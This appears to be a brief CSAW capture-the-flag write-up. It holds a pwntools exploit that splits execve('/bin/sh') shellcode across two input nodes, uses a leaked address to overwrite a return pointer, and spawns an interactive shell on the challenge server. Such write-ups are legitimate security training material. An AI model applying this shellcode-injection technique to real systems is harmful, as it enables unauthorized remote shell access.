We can write up to 15 bytes to each node, but only 7 bytes are enough.

```
from pwn import *

r = remote('pwn.chal.csaw.io', 9005)

r.sendlineafter('node 1:',
'\x48\x89\xe7' # mov %rsp,%rdi
'\x31\xf6' # xor %esi,%esi
'\xeb\xdb' # jmp node 2
)
r.sendlineafter('node 2:',
'AA' # (overwritten later)
'\x99' # cdq
'\xb0\x3b' # mov $0x3b,%al
'\x0f\x05' # syscall
)

r.recvuntil('node.next: ')
addr = int(r.recvline(), 16) + 0x28

r.sendlineafter('initials?', 'A' * 0xb + p64(addr) + '/bin/sh\x00')

r.interactive()
```